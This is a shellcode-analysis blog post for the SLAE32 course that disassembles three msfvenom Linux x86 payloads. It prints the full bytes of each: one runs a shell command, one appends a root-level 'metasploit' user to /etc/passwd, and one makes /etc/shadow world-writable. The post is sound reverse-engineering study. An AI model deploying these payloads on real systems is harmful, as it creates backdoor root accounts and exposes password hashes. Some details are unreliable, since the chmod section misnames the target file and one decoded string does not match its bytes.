SLAE32 0x05: msfvenom Shellcode Analysis
The tool msfvenom is commonly used to generate payloads. The tool provides a variety of payload options for different operating systems and architectures. Analyzing shellcode payloads generated by msfvenom is a useful exercise to help better understand the underlying techniques that are at play within these payloads.
Some of the most common shellcode payloads encountered are bind and reverse shells. As bind and reverse shell shellcodes have been created and analyzed in depth in previous posts, three unique shellcodes were selected for analysis in this post. The sections below will dissect and explain the shellcodes generated by msfvenom for the linux/x86/exec payload, the linux/x86/adduser payload, and the linux/x86/chmod payload. When applicable, the assembly instructions will come first, followed by an explanation of the purpose of the instructions.
Objectives
Analyze at least 3 shellcode samples created using msfvenom for linux/x86;
- Use GDB/ndisasm/libemu to dissect the functionality of the shellcode
- Present the analysis
Shellcode I: exec
Shellcode I: Explanation
The exec payload includes insturctions that will execute a specified command on the target system. The exec shellcode was generated using the msfvenom command shown below.
root@kali:~/SLAE/assignment-5# msfvenom -p linux/x86/exec CMD=id -f c
The shellcode is generated with the command of id specified. This means that upon successful execution of the shellcode, the output of the id command will be printed to the terminal.
Using the shellcode generated by the msfvenom command, a good portion of the correct assembly instructions can be viewed using the ndisasm tool. The ndisasm tool disassembles the shellcode bytes into more easily readable assembly operation codes and their respective instructions. The command used to accomplish this is shown below.
root@kali:~/SLAE/assignment-5# echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\
xe3\x52\xe8\x03\x00\x00\x00\x69\x64\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -b 32 -p intel -
The command line arguments passed to ndisasm specify x86 (32 bit) architecture and that the output should be formatted in the Intel format. The output of the above command in its entirety is shown below. Note that some assembly instructions are not accurate, specifically instructions following CALL instructions. The output will be broken down in to smaller sections later on.
00000000 6A0B push byte +0xb
00000002 58 pop eax
00000003 99 cdq
00000004 52 push edx
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
00000017 52 push edx
00000018 E803000000 call 0x20
0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953
00000025 80 db 0x80
Shellcode I: Analysis
00000000 6A0B push byte +0xb
00000002 58 pop eax
First, a single byte 0xb is pushed to the stack. The hexadecimal value 0xb in decimal is 11. From the unistd_32.h file, 11 specifies the execve system call. The 0xb byte is transferred to the EAX register using the POP EAX instruction. Ulitmately, the value 0xb will be passed through the EAX register to a software interrupt which will result in the execution of the execve system call.
#define __NR_execve 11
The execve system call expects three arguments, as shown below. As usual, the first argument will be passed through EBX, the second through ECX, and the third through EDX.
int execve(const char *pathname, char *const argv[], char *const envp[]);
00000003 99 cdq
00000004 52 push edx
Next, the CDQ instruction is used to zero out the EDX register. This is accomplished through the functionality of CDQ. The CDQ instruction copies the sign bit in the EAX register to every bit position in the EDX register. Since the sign bit is not set in EAX, its value is 0. This means that 0 will be copied to every bit position in the EDX register, thus zeroing out the register. A PUSH instruction is used to store EBX on the stack which will act as a null terminator for various arguments passed to execve.
00000005 66682D63 push word 0x632d
00000009 89E7 mov edi,esp
Now, a PUSH instruction is used to store 0x632d on the stack. Examining this value reveals that the value correlates to the c- string, or -c in reverse order.
>>> print('\x63\x2d')
c-
The memory address in ESP which points to the top of the stack and contains the -c string is moved into the EDI register. This memory address which contains the null-terminated -c string will later be used as part of the array of pointers that contain command line arguments passed through ECX to execve as its second argument.
0000000B 682F736800 push dword 0x68732f
00000010 682F62696E push dword 0x6e69622f
00000015 89E3 mov ebx,esp
Two PUSH instructions are used to store first 0x68732f and then 0x6e69622f on the stack. Upon examining these hexidecimal values, it is revealed that these values correlate to the string /bin/sh.
>>> print('\x68\x73\x2f\x6e\x69\x62\x2f')
hs/nib/
The memory address of ESP is moved into the EBX register which will be passed to execve as the first argument which is a pointer to the pathname of the program to be executed, /bin/sh.
00000017 52 push edx
00000018 E803000000 call 0x20
As the EDX register at this point is still clear as a result of the previous CDQ instruction, the PUSH EDX instruction pushes four null bytes to the stack. These bytes will act as a delimiter for the array of memory addresses that will be passed through ECX as the second argument to execve.
In this case, the CALL 0x20 instruction serves two purposes. The first purpose is to direct execution flow elsewhere in the shellcode (specifically to the memory address 32 bytes (decimal 32 is 0x20 in hex) from the start of the shellcode) and the second purpose is to store a memory address on the stack. As part of the functionality built in to the CALL instruction, the memory address of the instruction following the CALL instruction will be stored on the stack so that once the called function completes, execution flow can retun to the next instruction.
0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953
00000025 80 db 0x80
In this example, the memory address pushed to the stack as a result of the call instruction is the memory address of 0000001D. In decimal, this memory address value can be represented as 29. The first two bytes stored at this memory address are 0x6964. Examining these bytes reveals that these bytes correlate to the string id, or the command that was chosen to be excuted by execve when the payload was generated with msfvenom.
>>> print('\x69\x64')
id
Following these two bytes is a null byte to terminate the id string.
Recall that the CALL 0x20 instruction will redirect execution flow to 0x20 bytes in hex or 32 bytes in decimal from the start of the shellcode. As mentioned previously, 0000001D correlates to decimal 29. After taking into account the three bytes 0x696400 that form the null terminated id string, this means that the CALL 0x20 instruction will result in execution flow being redirected to the instructions that directly follow the 0x696400 bytes at the 00000020 (decimal 32) memory address. In other words, the instructions represented by the shellcode \x57\x53\x89\xe1\xcd\x80 will now be executed.
Using ndisasm again to disassemble this shellcode reveals the following:
root@kali:~/SLAE/assignment-5# echo -ne "\x57\x53\x89\xe1\xcd\x80" | ndisasm -b 32 -p intel -
00000000 57 push edi
00000001 53 push ebx
00000002 89E1 mov ecx,esp
00000004 CD80 int 0x80
These PUSH instructions serve the purpose to complete the array of pointers to strings which will be passed as the second argument to execve through ECX. The memory addresses in the array must be passed in reverse order, and the memory address that contains id is already on the stack as a result of the CALL 0x20 earlier. The PUSH EDI instuction pushes the memory address in EDI to the stack which contains the -c string. The PUSH EBX command pushes the memory address in EBX to the stack which contains the /bin/sh string. Therefor, there are now three memory address on the stack. The memory address on the top of the stack contains /bin/sh, the second memory address contains -c, and the third memory address contains id. The memory address in ESP points to these memory addresses and is moved into ECX before the software interrupt INT 0x80 occurs, which results in the /bin/sh -c id command being executed by execve.
Shellcode II: adduser
Shellcode II: Explanation
The adduser payload includes instructions to add a user to the target system with the UID of 0. The adduser shellcode was generated using the msfvenom command shown below.
root@kali:~/SLAE/assignment-5# msfvenom -p linux/x86/adduser -f c
The shellcode is generated using default parameters. In this case, the user that will be added to the target system will be called metasploit. Since no password was provided, the default password will be used.
Once again, the ndisasm tool disassembles the shellcode bytes into more easily readable assembly operation codes and their respective instructions. The command used to accomplish this is shown below.
root@kali:~/SLAE/assignment-5# echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\
x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -
The command line arguments passed to ndisasm specify x86 (32 bit) architecture and that the output should be formatted in the Intel format. The output of the above command in its entirety is shown below. Note that some assembly instructions are not accurate, specifically instructions following CALL instructions. The output will be broken down in to smaller sections later on.
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
00000009 6A05 push byte +0x5
0000000B 58 pop eax
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
00000025 93 xchg eax,ebx
00000026 E828000000 call 0x53
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push edx
00000042 633A arpl [edx],di
00000044 303A xor [edx],bh
00000046 303A xor [edx],bh
00000048 3A2F cmp ch,[edi]
0000004A 3A2F cmp ch,[edi]
0000004C 62696E bound ebp,[ecx+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75]
00000055 51 push ecx
00000056 FC cld
00000057 6A04 push byte +0x4
00000059 58 pop eax
0000005A CD80 int 0x80
0000005C 6A01 push byte +0x1
0000005E 58 pop eax
0000005F CD80 int 0x80
Shellcode II: Analysis
00000000 31C9 xor ecx,ecx
00000002 89CB mov ebx,ecx
00000004 6A46 push byte +0x46
00000006 58 pop eax
00000007 CD80 int 0x80
To start, an XOR instruction is used to zero out the ECX register. As explained in previous posts, using XOR with the same source and destination register will result in zeroing out the register. Following the XOR instruction, the recently-cleared ECX register is moved to the EBX register, effectively zeroing out the EBX register. Next, a single byte 0x46 is pushed to the stack and then stored in EAX using a POP instruction. The hex value 0x46 in decimal is 70. From the unistd_32.h file, 70 specifies the setreuid system call.
#define __NR_setreuid 70
From man 2 setreuid, the setreuid function sets real and effective user IDs of the calling process and takes two arguments, as shown below.
int setreuid(uid_t ruid, uid_t euid);
The two arguments that will be passed to the setreuid system call via the EBX and ECX registers will both be 0 as a result of the previously mentioned XOR and MOV instructions related to the EBX and ECX registers.
On Linux systems, UID 0 is assigned to and represents the root user of the system that has unrestricted super administrator privileges. Underprivileged users usually do not have the permissions required to add users to Linux systems, but if an underpriveleged user has access to a program/process running as root or a program with the SUID bit set, then setreuid would ensure that the remaining shellcode within the payload will be run with root permissions.
00000009 6A05 push byte +0x5
0000000B 58 pop eax
Next, the byte 0x5 is pushed to the stack and then stored in EAX using POP. The integer 5 specifies the open system call in the unistd_32.h file.
#define __NR_open 5
From man 2 open, the open function expects two arguments and serves the purpose of opening the file specified by the first argument with the desired access mode specifed by the second argument. The return value of open is a file descriptor that can be used in subsequent system calls and is returned in the EAX register function completion.
int open(const char *pathname, int flags);
Furthermore, the second argument specifies whether the opened file is opened as O_RDONLY, O_WRONLY, or O_RDWR which correlate to read-only, write-only, and read-write access modes. In addition to the access mode flags, zero or more bitwise file creation and file status flags can be set within the second argument that further modify the behavior of open.
0000000C 31C9 xor ecx,ecx
0000000E 51 push ecx
0000000F 6873737764 push dword 0x64777373
00000014 682F2F7061 push dword 0x61702f2f
00000019 682F657463 push dword 0x6374652f
0000001E 89E3 mov ebx,esp
The ECX register is zeroed out once again with the XOR instruction and then is pushed to the stack with a PUSH instruction. These null bytes serve to terminate the string which is subsequently pushed to the stack. Examining the twelve bytes pushed to the stack by the three PUSH instructions reveals that the bytes correlate to the /etc//passwd string and will specify that open should open the /etc/passwd file.
>>> print('\x64\x77\x73\x73\x61\x70\x2f\x2f\x63\x74\x65\x2f')
dwssap//cte/
The MOV EBX, ESP instruction serves to store the pointer to the /etc//passwd pathname string which will later be passed to open as its first argument via the EBX register.
00000020 41 inc ecx
00000021 B504 mov ch,0x4
00000023 CD80 int 0x80
An INC ECX instruction is used to increase the value in ECX by one to hexadecimal 0x1. Next, the hexadecimal value 0x4 is moved into the CH register. The CH register represents the 8 bits that make up the second-to-least significant byte. A representation of the ECX register in binary is shown below.
31 16 | 15 8 | 7 0
---------------------------------------
00000000 00000000 | 00000100 | 00000001
---------------------------------------
Recall that additional bitwise file creation and file status flags can be set within the second argument argument of open. At this point, the CX register contains the value 0x0401 because of the INC ECX and MOV CH, 0x4 instructions. This means that of the 16 bits present in the CX register, the lowest order bit (the 0th bit, decimal 2^0 = 1) and the 10th-lowest order bit (the 10th bit, decimal 2^10 = 1024) are set. In octal, decimal 1 is 00000001 and decimal 1024 is 00002000. As seen in the /usr/include/asm-generic/fcntl.h file, octal 00000001 specifies the file access mode as O_WRONLY which correlates to write-only mode, and octal 00002000 specifies the file status flag O_APPEND. This means that once the software interrupt INT 0x80 instruction is executed, the /etc/passwd file will be opened with write access and any written information will be appended to the information already present in the file.
00000025 93 xchg eax,ebx
00000026 E828000000 call 0x53
After the open function, the file descriptor that references the opened file is stored in EAX. The XCHG EAX, EBX serves to swap the values stored within EAX and EBX. Therefore, EBX now holds the file descriptor returned by open. The CALL 0x53 instruction is used in the same manner as previously explained in the analysis of the exec payload. In short, the memory address of the next instruction (0000002B) is stored on the stack and execution flow is redirected to the instructions present at 0x53 bytes from the start of the shellcode.
0000002B 6D insd
0000002C 657461 gs jz 0x90
0000002F 7370 jnc 0xa1
00000031 6C insb
00000032 6F outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A jnc 0xa7
0000003D 3470 xor al,0x70
0000003F 3449 xor al,0x49
00000041 52 push edx
00000042 633A arpl [edx],di
00000044 303A xor [edx],bh
00000046 303A xor [edx],bh
00000048 3A2F cmp ch,[edi]
0000004A 3A2F cmp ch,[edi]
0000004C 62696E bound ebp,[ecx+0x6e]
0000004F 2F das
00000050 7368 jnc 0xba
00000052 0A598B or bl,[ecx-0x75]
Converting the contents present between the memory address 0000002B and 00000053 (where execution flow will continue as a result of the previous CALL 0x53 instruction) to ASCII reveals the following:
>>> print('\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68')
metasploit:Az/dIsj4p4I4IRc:0:0::/:/bin/sh
This string specifies the contents that will ultimately be written to the /etc/passwd file and is in the same format as other entries in the /etc/passwd file. As the adduser payload was generated with default parameters, the user that will be added to the /etc/passwd file is called metasploit, the password for the user will be Az/dIsj4p4I4IRc, the user will have a user identifier number of 0, a group identifier number of 0, and will use /bin/sh as a default shell.
Using ndisasm once again to analyze the instructions present at 00000053 where execution flow has been redirected by CALL 0x53 shows the following:
root@kali:~/SLAE/assignment-5# echo -ne "\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -
00000000 59 pop ecx
00000001 8B51FC mov edx,[ecx-0x4]
00000004 6A04 push byte +0x4
00000006 58 pop eax
00000007 CD80 int 0x80
The POP ECX instruction stores the metasploit:Az/dIsj4p4I4IRc:0:0::/:/bin/sh string in ECX. The instruction MOV EDX, [ECX-0x4] is used to move the value 0x28 into EDX. Since ECX now contains the memory address 0000002B from the original ndisasm output, the MOV EDX, [ECX-0x4] instruction will result in the contents present at memory address 00000027 from the same output being stored in EDX. It can be seen below that the value 0x28 is present at 00000027 in the original ndisasm output as part of the operation code for the previously explained CALL 0x53 instruction.
00000026 E828000000 call 0x53
Continuing on, the byte 0x4 is pushed to the stack and subsequently stored in EAX using a POP instruction. From the unistd_32.h file, 4 specifies the write system call. The arguments expected by write are shown below.
ssize_t write(int fd, const void *buf, size_t count);
From man 2 write, the write function will write up to count bytes from the buffer starting at buf to the file referenced by the file descriptor fd. The EBX, ECX, and EDX registers have already been set to contain the file descriptor fd as returned by open that represents the /etc/passwd file, a pointer to the string metasploit:Az/dIsj4p4I4IRc:0:0::/:/bin/sh in memory as buf, and the length of the string 0x28 as count, respsectively. The software interrupt INT 0x80 will call the write system call which will add the metasploit user to the /etc/passwd file as previously explained.
00000009 6A01 push byte +0x1
0000000B 58 pop eax
0000000C CD80 int 0x80
To wrap up, the byte 0x1 is pushed to the stack and stored in EAX by POP. In unistd_32.h, the value 1 specifies the exit system call. There are no necessary arguments for exit. The software interrupt INT 0x80 results in the process in which the shellcode is being run to exit gracefully.
Shellcode III: chmod
Shellcode III: Explanation
The chmod payload includes instructions to change permissions on a specified file. The chmod shellcode was generated using the msfvenom command shown below.
root@kali:~/SLAE/assignment-5# msfvenom -p linux/x86/chmod -f c
The shellcode is generated using default parameters. In this case, the permissions of the /etc/shadow file will be set to 0666. This means that the file will be world readble and world writeable.
As mentioned previously, the ndisasm tool disassembles the shellcode bytes into more easily readable assembly operation codes and their respective instructions. The command used to accomplish this is shown below.
root@kali:~/SLAE/assignment-5# echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -
The command line arguments passed to ndisasm specify x86 (32 bit) architecture and that the output should be formatted in the Intel format. The output of the above command in its entirety is shown below. Note that some assembly instructions are not accurate, specifically instructions following CALL instructions. The output will be broken down in to smaller sections later on.
00000000 99 cdq
00000001 6A0F push byte +0xf
00000003 58 pop eax
00000004 52 push edx
00000005 E80C000000 call 0x16
0000000A 2F das
0000000B 657463 gs jz 0x71
0000000E 2F das
0000000F 7368 jnc 0x79
00000011 61 popa
00000012 646F fs outsd
00000014 7700 ja 0x16
00000016 5B pop ebx
00000017 68B6010000 push dword 0x1b6
0000001C 59 pop ecx
0000001D CD80 int 0x80
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80
Shellcode III: Analysis
00000000 99 cdq
00000001 6A0F push byte +0xf
00000003 58 pop eax
First, a CDQ instruction is used to zero out the EDX register in the same manner previously outlined in the exec payload. To reiterate, the CDQ instruction copies the sign bit in the EAX register to every bit position in the EDX register. Since the sign bit is not set in EAX, its value is 0. This means that 0 will be copied to every bit position in the EDX register, thus zeroing out the register.
A single byte 0xf (or 15 in decimal) is pushed to the stack and subsequently stored in the EAX register with a POP instruction. From the unistd_32.h file, 15 specifies the chmod system call, which makes sense for this particular payload.
#define __NR_chmod 15
From man 2 chmod, the chmod function expects two arguments, as shown below.
int chmod(const char *pathname, mode_t mode);
The first argument expected by chmod is a pointer to a pathname string which will specify the file to be modified and will be passed to chmod through the EBX register. The second argument expected by chmod is a mode value (an octal value, as commonly seen in command line usage of chmod) and is passed to chmod through the ECX register.
00000004 52 push edx
00000005 E80C000000 call 0x16
Here, a PUSH EDX instruction is used to push four NULL bytes to the stack which will serve as a delimiter for the pathname argument for chmod. As explained in the two previous shellcode payloads, a CALL command is used to store a string on the stack and to redirect execution flow to the memory address specified in the CALL instruction (0x16 in this case).
0000000A 2F das
0000000B 657463 gs jz 0x71
0000000E 2F das
0000000F 7368 jnc 0x79
00000011 61 popa
00000012 646F fs outsd
00000014 7700 ja 0x16
As a result of the CALL 0x16 instruction, the bytes shown above will be stored on the stack beginning at the memory address 0000000A. Further analysing these bytes reveals that the bytes correlate to the string shown below.
>>> print('\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77')
/etc/shadow
From this, it is clear that the file that will be modified by the chmod function will be the /etc/passwd file.
00000016 5B pop ebx
00000017 68B6010000 push dword 0x1b6
0000001C 59 pop ecx
0000001D CD80 int 0x80
The CALL 0x16 instruction mentioned previously results in execution flow being redirected to the memory address located 0x16 bytes from the beginning of the shellcode which contains the operation codes shown above.
As the memory address 0000000A contains the string /etc/shadow and is currently stored on the top of the stack, the POP EBX command will result in the memory address containing the aformentioned /etc/shadow string being stored in the EBX register. This will soon be passed as the pointer to a pathname for the first argument expected by chmod.
Next, the value 0x1b6 is pushed to the stack and subsequently stored in ECX by a POP instruction. The hexadecimal value 0x1b6 converted to its corresponding octal value (as commonly used in command line usage of chmod) is 0o666. As expected, this would suggest that the r (read) and w (write) bits will be set for the owner of the /etc/passwd file, users in the group to which the /etc/passwd file belongs, as well as to all other users. In other words, the /etc/passwd file will be world readable and world writeable after once its mode is changed by chmod. A software interrupt INT 0x80 instruction calls chmod with the described arguments.
0000001F 6A01 push byte +0x1
00000021 58 pop eax
00000022 CD80 int 0x80
As explained in the adduser payload, the byte 0x1 is pushed to the stack and stored in EAX by POP. In unistd_32.h, the value 1 specifies the exit system call. There are no necessary arguments for exit. The software interrupt INT 0x80 results in the process in which the shellcode is being run to exit gracefully.
_This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:∏
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-1469